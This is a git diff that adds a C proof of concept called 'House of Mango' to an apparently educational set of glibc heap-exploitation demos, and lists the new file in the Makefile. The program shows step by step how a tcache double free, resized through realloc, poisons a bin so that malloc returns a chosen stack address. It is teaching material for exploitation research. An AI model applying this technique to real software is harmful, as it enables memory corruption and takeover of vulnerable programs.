diff --git a/Makefile b/Makefile index 3c9910e..e98e645 100644 --- a/Makefile +++ b/Makefile @@ -1,6 +1,6 @@ BASE = fastbin_dup malloc_playground first_fit calc_tcache_idx V2.25 = glibc_2.25/fastbin_dup_into_stack glibc_2.25/fastbin_dup_consolidate glibc_2.25/unsafe_unlink glibc_2.25/house_of_spirit glibc_2.25/poison_null_byte glibc_2.25/house_of_lore glibc_2.25/overlapping_chunks glibc_2.25/overlapping_chunks_2 glibc_2.25/house_of_force glibc_2.25/large_bin_attack glibc_2.25/unsorted_bin_attack glibc_2.25/unsorted_bin_into_stack glibc_2.25/house_of_einherjar glibc_2.25/house_of_orange glibc_2.25/house_of_roman -V2.26 = glibc_2.26/unsafe_unlink glibc_2.26/house_of_lore glibc_2.26/overlapping_chunks glibc_2.26/large_bin_attack glibc_2.26/unsorted_bin_attack glibc_2.26/unsorted_bin_into_stack glibc_2.26/house_of_einherjar glibc_2.26/house_of_einherjar2 glibc_2.26/tcache_dup glibc_2.26/tcache_poisoning glibc_2.26/tcache_house_of_spirit glibc_2.26/house_of_botcake glibc_2.26/tcache_stashing_unlink_attack glibc_2.26/fastbin_reverse_into_tcache +V2.26 = glibc_2.26/unsafe_unlink glibc_2.26/house_of_lore glibc_2.26/overlapping_chunks glibc_2.26/large_bin_attack glibc_2.26/unsorted_bin_attack glibc_2.26/unsorted_bin_into_stack glibc_2.26/house_of_einherjar glibc_2.26/house_of_einherjar2 glibc_2.26/house_of_mango glibc_2.26/tcache_dup glibc_2.26/tcache_poisoning glibc_2.26/tcache_house_of_spirit glibc_2.26/house_of_botcake glibc_2.26/tcache_stashing_unlink_attack glibc_2.26/fastbin_reverse_into_tcache PROGRAMS = $(BASE) $(V2.25) $(V2.26) CFLAGS += -std=c99 -g diff --git a/glibc_2.26/house_of_mango.c b/glibc_2.26/house_of_mango.c new file mode 100644 index 0000000..8548bf0 --- /dev/null +++ b/glibc_2.26/house_of_mango.c @@ -0,0 +1,68 @@ +#include +#include +#include +#include +#include + +/** + * Author : 0xd3xt3r + * + * Double free vulneribity in on tcache bins is mitigated in 2.27 and later + * can be seen in commit bcdaad21d4635931d1bd3b54a7894276925d081d + * This has fixed the attack which gives arbitrary write vulneribity in glibc + * double free. This attack will demonstrate how we can bypass this mitigation + * and get an arbitrary write with the new mitigation applied. + * + * This Attack works as follows: + * + * 1. Free an allocated chunk + * 2. Change the size of the chunk and either by realloc or overflow from the + * previous chunk + * 3. Free the same chunk again, now you have same chunk in two tcache bins. + * 4. Request the chunk from either of the bins + * 5. Now write the fake chunk address in the first 4/8 bytes of the newly + * requested chunk. This will poison the tcache list having this chunk. + * 6. Subsequent request to the tcache list containing the poisoned chunk + * will return our target memory area. + */ + +int main() +{ + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + printf("Welcome to House of Mango 2!\n"); + printf("Tested on Ubuntu 18.04 64bit (glibc-2.27) and works on 2.27 and later\n"); + intptr_t fake_chunk[4]; + printf("\nThe address we want malloc() to return is %p.\n", (char *)&fake_chunk); + + intptr_t *victim_chunk = malloc(0x30); + printf("first chunk returned by malloc victim_chunk: %p\n", victim_chunk); + // first free + free(victim_chunk); + + intptr_t *victim_chunk_header = victim_chunk - 2; + // + printf("Now we change the size of the chunk in tcache_bins either by overflow or realloc function\n"); + // this overflow could also be done by adjusent chunk + // victim_chunk_header[1] = 0x51; + victim_chunk = realloc(victim_chunk, 0x40); + // + + printf("Freeing the overflowen chunk\n"); + free(victim_chunk); // victim_chunk is already freed before + printf("This free has place the chunk %p in two tcache bins one of size 0x30 and other of size 0x40\n", victim_chunk); + printf("So effective we have two tcache bins with same chunk %p\n", victim_chunk); + + intptr_t *b = malloc(0x40); + printf("Tcache return the chunk which we freed earlier %p\n", b); + printf("Time to poison the tcache bins with our fake chunk address\n"); + b[0] = (intptr_t)&fake_chunk; + printf("Now chunk %p is in tcache bin (0x30) next points to %p\n", b, fake_chunk); + intptr_t *c = malloc(0x30); + printf("Request to malloc will return the same chunk as before %p\n", c); + intptr_t *target_fake_chunk = malloc(0x30); + printf("Another request returns the fake chunk %p\n", target_fake_chunk); + assert(target_fake_chunk == fake_chunk); + printf("Got control on target/stack!\n\n"); +}